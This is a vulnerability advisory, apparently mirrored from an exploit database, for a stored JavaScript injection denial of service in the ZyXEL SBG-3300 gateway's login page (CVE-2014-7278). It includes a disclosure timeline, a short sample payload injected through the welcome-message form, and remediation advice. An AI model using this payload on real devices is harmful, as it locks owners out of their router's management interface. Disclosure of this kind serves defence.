Lucene search

K
zdtMirko Casadei1337DAY-ID-22727
HistoryOct 05, 2014 - 12:00 a.m.

ZyXEL SBG-3300 Security Gateway Denial Of Service Vulnerability

2014-10-0500:00:00
Mirko Casadei
0day.today
14

0.013 Low

EPSS

Percentile

84.0%

ZyXEL SBG-3300 Security Gateway suffers from a malicious javascript denial of service vulnerability.

########################################
#Vulnerability Title: DoS in ZyXEL SBG-3300 Security Gateway
#Date: 02/10/2014
#CVE-ID: CVE-2014-7278
#Product: ZyXEL SBG3300-N series
#Vendor: www.zyxel.com
#Affected Firmware: Latest version at the time of disclosure V1.00(AADY.4)C0 and below (tested)
#Patch: Unpatched
#Authored by: Mirko Casadei
########################################

#Disclosure Timeline:
13/08/2014  Vendor Contact with Acknowledgment 
13/09/2014  No response from Vendor after first contact
02/10/2014  Full Disclosure 

#Technical details:
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.
Access is restored with a new firmware installation.
Example of a working code:
//////// !WARNING! TEST AT YOUR OWN RISK ///////
var loginMsg loads input from the 'welcome message form'
...
function framLoad () {
  var status = '0';
  var count = '';
  var Retry = '';
  var period = '';  
  var loginMsg = '<DoS="javascript:alert('DoS coming!')">';  
  var LockTime;
  var waitTime;
  if ( advancedaccountsecurity == '0' ) {
    loginrandom = '0';
  }
...

#Remediation
The vulnerable form should sanitize input.
########################################

#  0day.today [2018-03-13]  #

0.013 Low

EPSS

Percentile

84.0%

Related for 1337DAY-ID-22727